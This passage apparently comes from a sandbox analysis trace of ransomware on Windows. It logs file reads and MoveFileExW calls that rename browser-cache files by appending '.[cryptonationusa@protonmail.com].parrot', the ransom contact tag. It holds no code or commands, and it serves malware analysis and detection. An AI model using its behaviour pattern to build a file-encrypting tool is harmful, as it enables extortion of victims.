lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.590] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3376, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3376, lpOverlapped=0x0) returned 1 [0080.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0080.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0080.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0080.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0080.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178058 [0080.591] GetLastError () returned 0x0 [0080.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0080.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0080.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0080.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0080.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0080.592] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.596] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.597] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.597] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13c06, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x13c06, lpOverlapped=0x0) returned 1 [0080.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.602] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.605] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.639] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x144cd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x144cd, lpOverlapped=0x0) returned 1 [0080.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.646] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.649] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.649] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.651] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6f15, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6f15, lpOverlapped=0x0) returned 1 [0080.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.654] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.656] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.661] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.663] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaf6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaf6, lpOverlapped=0x0) returned 1 [0080.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.664] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\browser[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.668] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.668] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4dd8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x4dd8, lpOverlapped=0x0) returned 1 [0080.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.671] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.672] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.706] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.706] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.708] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.708] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c9f6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c9f6, lpOverlapped=0x0) returned 1 [0080.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.713] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.717] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\cb=gapi[1].loaded_0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\cb=gapi[1].loaded_0.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\cb=gapi[1].loaded_0.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.720] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.720] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.722] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.722] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b, lpOverlapped=0x0) returned 1 [0080.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.725] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.725] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.728] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.728] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.732] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.732] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29349, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29349, lpOverlapped=0x0) returned 1 [0080.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.744] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.753] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.757] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.757] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.758] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.758] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a3c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2a3c, lpOverlapped=0x0) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.761] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.762] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\DevCMDL2.2.18[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\devcmdl2.2.18[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\DevCMDL2.2.18[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\devcmdl2.2.18[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.766] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.767] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.768] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.768] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b, lpOverlapped=0x0) returned 1 [0080.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.769] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.769] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.772] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.772] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.773] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.774] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24e29, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24e29, lpOverlapped=0x0) returned 1 [0080.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.783] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.791] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.797] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, 